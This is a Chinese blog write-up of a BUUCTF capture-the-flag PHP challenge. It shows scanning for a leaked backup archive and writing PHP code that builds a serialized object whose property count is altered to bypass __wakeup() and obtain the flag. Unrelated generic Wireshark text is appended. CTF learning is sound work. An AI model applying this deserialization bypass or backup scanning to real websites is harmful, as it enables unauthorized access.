BUUCTF[极客大挑战 2019]PHP1题解

1.题目链接

BUUCTF在线评测 (buuoj.cn)

2.解题思路

(1)进入靶机,我们看到网页提示:备份网站,这时候我们就应该想到有可能源码泄露了。

(2)因此,写一个python脚本,扫描一下这个网站

代码贴在下面

# python版本为3
# 结果中unnormal status code显示的是http请求中响应状态码异常的
# 结果中unnormal length显示的是http请求中响应长度异常的
import sys
import util as UTIL

UTIL.searchBackupFiles(sys.argv[1])

(3)运行脚本

发现www.zip这个可能备份网站的压缩包

(4)我们下载下来

(5)在class.php中,我们观察一下这个Name类

想要得到flag,必须满足username===admin,password==100,于是我们就要绕过__wakeup()函数了。

(__wakeup()函数的使用与绕过我之前发过一篇,不懂的可以看这篇反序列化渗透与防御之PHP-CSDN博客

(6)再看一下index.php

很明显,用get传参,然后反序列化,其实这里就是一个反序列化的题目了。

(7)我们写一下代码

<?php
header("Content-type:text/html;charset=utf-8");
class Name{
    private $username = 'admin';
    private $password = 100;
}
$name=new Name;
$str=serialize($name);
$str1=urlencode($str);//url编码
echo $str1;
?>

(8)用Burp Suite传参

(Value是代码运行结果,这里要注意改一下参数个数以绕过__wakeup()函数)

(9)成功找到flag

  • 12
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适合你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择合适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关注特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符合条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值